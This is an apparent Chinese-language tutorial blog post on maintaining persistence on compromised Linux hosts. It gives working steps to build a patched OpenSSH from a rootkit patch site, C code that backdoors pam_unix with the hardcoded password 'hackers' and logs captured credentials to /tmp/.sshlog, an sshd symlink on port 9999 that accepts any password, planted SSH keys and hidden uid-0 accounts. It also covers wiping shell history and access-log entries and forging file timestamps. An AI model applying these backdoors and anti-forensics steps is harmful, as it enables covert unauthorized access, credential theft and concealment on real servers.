第144天:内网安全-Linux权限维持&OpenSSH&PAM后门&SSH软链接&公私钥登录

目录

[案例一: 权限维持-Linux-替换版本-OpenSSH 后门](#案例一: 权限维持-Linux-替换版本-OpenSSH 后门)

[案例二: 权限维持-Linux-更改验证-SSH-PAM 后门](#案例二: 权限维持-Linux-更改验证-SSH-PAM 后门)

[案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号](#案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号)

ssh软链接

公私钥

新帐号


案例一: 权限维持-Linux-替换版本-OpenSSH 后门

原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,

达到记录帐号密码,也可以采用万能密码连接的功能!

查看当前ssh的版本 ssh -V

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017

环境准备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

yum -y install patch

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

安装依赖

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    

yum -y install gcc gcc-c++ make  

yum -y install patch 

下载替换版本和后门文件

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

解压文件

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

安装openssh

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中

也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^

修改配置万能密码

修改版本,version.h文件

修改与之前版本一致

设置安装目录,编译并且安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

查看当前版本

连接,这种方式感觉不是很稳定哈。

这里连接的时候可能会出bug,尝试下面这篇文章的解决方法

SSH 服务 异常报错"Failed to start OpenSSH Server daemon" 该怎么办???-CSDN博客

有可能还是显示错误,但是可以连接了

利用admin!@#45去链接

修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范

恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志,代码如下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/192.168.52.175/d' access_log*
echo >/root/.bash_history //清空操作日志

案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

pam相当于windows的kerberos

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

查询pam版本

rpm -qa | grep pam

下载对应的版本并且解压

bash 复制代码
wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

安装必要的依赖

bash 复制代码
yum install gcc flex flex-devel -y

修改pam_unix_auth.c文件

bash 复制代码
cd Linux-PAM-1.1.1

cd modules/pam_unix/

vim pam_unix_auth.c

把179行的文件进行修改

hackers即为新的登录密码,可以进行修改

bash 复制代码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

记得要对齐格式

编译安装

bash 复制代码
./configure && make

把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置

bash 复制代码
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

利用hackers登录

经过实验,这种方式比第一种稳定一点

更多进阶玩法:Linux Pam后门总结拓展 - 先知社区

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

查看是否支持pam身份验证

cat /etc/ssh/sshd_config|grep UsePAM

建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

这个时候连接ssh的9999端口,密码可以随便输入

ssh root@ip -p 9999

但是缺点就是容易被发现,突然多开了一个端口。

公私钥

参考文章:SSH密钥登陆 - 哔哩哔哩

攻击主机生成公钥

ssh-keygen -t rsa #三次回车

id_rsa : 私钥

id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

如果没有.ssh目录的话需要手工创建

创建文件,把id_rsa.pub中的内容复制过去

如果是自己创建的这两个文件记得修改权限

chmod 600  /root/.ssh/authorized_keys

chmod  700 /root/.ssh

这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证

vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys


PasswordAuthentication no           
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录

然后重启服务

systemctl restart sshd.service

再次连接的时候都不需要验证直接可以连接上

新帐号

两种方式

#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1



echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

方法一

利用test1密码123456连接,成功连接

方法二:

利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性

相关推荐
ID_14 HuFei13 分钟前
sed编辑器与awk的用法
linux·编辑器
驯龙高手_追风24 分钟前
Ubuntu下安装最新版本Apache2文件服务器
linux·服务器·ubuntu
炸裂狸花猫1 小时前
Linux技术04-IPVS
linux·运维·服务器
J老熊1 小时前
Linux下抓包分析Java应用程序HTTP接口调用:基于tcpdump与Wireshark的综合示例
java·linux·运维·web安全·http·面试
HoweWWW1 小时前
k8s中的存储
linux·容器·kubernetes
网安詹姆斯2 小时前
网络安全(黑客技术)2024年三个月自学手册
网络·python·sql·安全·web安全
我叫啥都行3 小时前
计算机基础知识复习9.13
linux·笔记·后端·系统架构
躺下睡觉~3 小时前
Unity-Transform-坐标转换
linux·unity·游戏引擎
库库的里昂3 小时前
【Linux修行路】网络套接字编程——UDP
linux·运维·服务器·网络·udp